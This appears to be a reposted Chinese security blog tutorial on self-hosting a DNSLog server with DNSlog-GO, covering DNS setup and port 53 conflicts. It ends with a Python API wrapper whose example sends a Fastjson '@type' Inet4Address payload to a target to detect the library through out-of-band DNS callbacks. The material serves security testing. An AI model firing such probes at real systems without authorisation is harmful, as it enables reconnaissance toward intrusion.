前置条件:
1.阿里云域名一个,例如 xxx.com
2.公网服务器一个, 例如 1.2.3.4
步骤:
1.进入域名控制台,添加A记录并指向公网IP,添加两个NS记录指向添加的A记录
2.创建2个自定义DNS服务器,为之前填写的ns1.xxx.shop 、ns2.xxx.shop 并将域名指向公网IP地址
修改DNS服务器为自己创建的DNShost
3.dns修改后有24-48小时dns生效时间。需等待一段时间。
4.下载dnslog平台搭建
下载地址:https://github.com/lanyi1998/DNSlog-GO/releases/
以ubutun为例。下载后修改配置文件启动即可
需要注意服务器的安全策略记得开放53端口和需要使用的端口,若启动失败,提示53端口占用,可查看端口并关闭。
查看监听的端口
sudo netstat -anlp | grep -w LISTEN
假设是情况如下为systemd-resolved使用:
...... tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 735/systemd-resolved
使用命令关闭即可
sudo systemctl stop systemd-resolved
最后启动成功后,在浏览器访问IP:端口即可,输入正确的token即可登录使用
附该项目api
import requests
import random
import json
class DnsLog():
domain = ""
token = ""
Webserver = ""
def __init__(self, Webserver, token):
self.Webserver = Webserver # dnslog的http监听地址,格式为 ip:端口
self.token = token # token
# 检测DNSLog服务器是否正常
try:
res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()
self.domain = res.Msg
except:
exit("DnsLog 服务器连接失败")
if res["Msg"] == "false":
exit("DnsLog token 验证失败")
# 生成随机子域名
def randomSubDomain(self, length=5):
subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
return subDomain
# 验证子域名是否存在
def checkDomain(self, domain):
res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},
headers={"token": self.token}).json()
if res["Msg"] == "false":
return False
else:
return True
url = "http://192.168.41.2:8090/"
dns = DnsLog("1111:8888", "admin")
subDomain = dns.randomSubDomain()
payload = {
"b": {
"@type": "java.net.Inet4Address",
"val": subDomain
}
}
requests.post(url, json=payload)
if dns.checkDomain(subDomain):
print("存在FastJosn")
参考链接:https://github.com/lanyi1998/DNSlog-GO
原文始发于微信公众号(句芒安全实验室):DNSLog服务器自建
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论